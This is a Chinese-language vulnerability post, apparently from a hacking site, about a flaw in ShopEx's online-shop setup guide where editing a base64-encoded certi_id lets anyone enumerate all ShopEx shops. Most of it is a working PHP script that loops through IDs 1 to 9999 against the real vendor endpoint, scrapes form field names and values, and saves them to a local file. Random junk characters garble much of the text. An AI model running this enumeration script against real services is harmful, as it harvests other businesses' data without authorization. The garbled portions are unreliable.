ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
8 Y$ Z  A2 e. Q1 r+ OShopEx某接口缺陷,可遍历所有网站
详细说明：
; R" z0 g* E9 G: e1 o问题出现在shopex 网店使用向导页面

: I4 `% f4 @5 B7 d; E/ x

http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=


' N+ P7 u4 G( {3 r# p/ }
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

) C% n  ?: N7 Y# k% F

* z) k% X/ P6 j6 B; R( |5 g0 L我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


7 s' o+ c5 S: i# Q& W7 _
<?php
. m8 [  H: i' `8 z  X0 V. Q+ m
8 @4 {+ v+ a0 r% ?' Y                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

1 H0 m+ O+ F6 Q! ~! w) R. C& q                }
2 i" m4 v" p/ @- A
0 \! h6 M8 s/ B* _  N& B: P                function ShowshopExD($cid) {
, w. r" I7 s! e% d8 Y8 {
                $url='http://guide.ecos.shopex.cn/step2.php';

) K+ s' R4 p1 `: f5 a                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;
2 C0 Z( h: n4 R2 X0 O* ^  N& A
% `0 S8 m6 ^: t2 |& r4 \) i9 ~        $ch = curl_init($url);
  W* Z+ x* t; z0 G& v) W
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
) ~* ?3 a4 u' w
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

& Q& y" V- Y3 d/ }" P' b; n. k) m        $result = curl_exec($ch);

+ s% f( E  e3 J) r2 o        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
; \: W5 C9 k# d) q+ y& q, A1 j
        if(strpos($result,$refer))

        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
9 N! `  X6 v! R7 _" W2 }
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
/ e9 A) `3 c: S2 ?/ Z
                foreach ($value[1] as $key) {
- L3 I+ d; d+ t% U# Z, f7 d( o3 z5 t
& R6 K' a$ I. b8 J2 v- x                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
2 l3 o- d/ Z% w; ^9 |2 R  D  t
, Z3 E- p% x7 W( x$ a, G" W4 l" u                        echo $res[1][0].':'.$res[3][0]."\r\n";

/ e/ t7 P4 Q1 K3 H( h: i" f                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));

( d* t4 `7 F! X) \! p2 P( n3 C: e; C                }

$ d1 n* R7 x0 X) Y( ?/ a8 \4 u+ ~                echo '--------------------------------'."\r\n";
) B# i: Z0 R' s( J: z) Y
                fclose($fp);

9 j" k( d9 W9 ]( h! C. j        }
/ ]3 k9 U# P! @  D
        flush();
! J5 o. m* c+ \( w1 _7 Z: y
        curl_close($ch);
; A5 i( M7 ^0 h
- r5 ]& }1 d- i. U                }
- ?5 K. C2 s' C0 c! j7 M1 X! T
3 x1 o3 S/ `; G( t: p$ A?>
6 w) _; v" I* M3 A漏洞证明：
7 n5 M# s* a+ Q4 ^2 Fhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
' P1 i3 q! ^# R- W, hrefer换成其他加密方式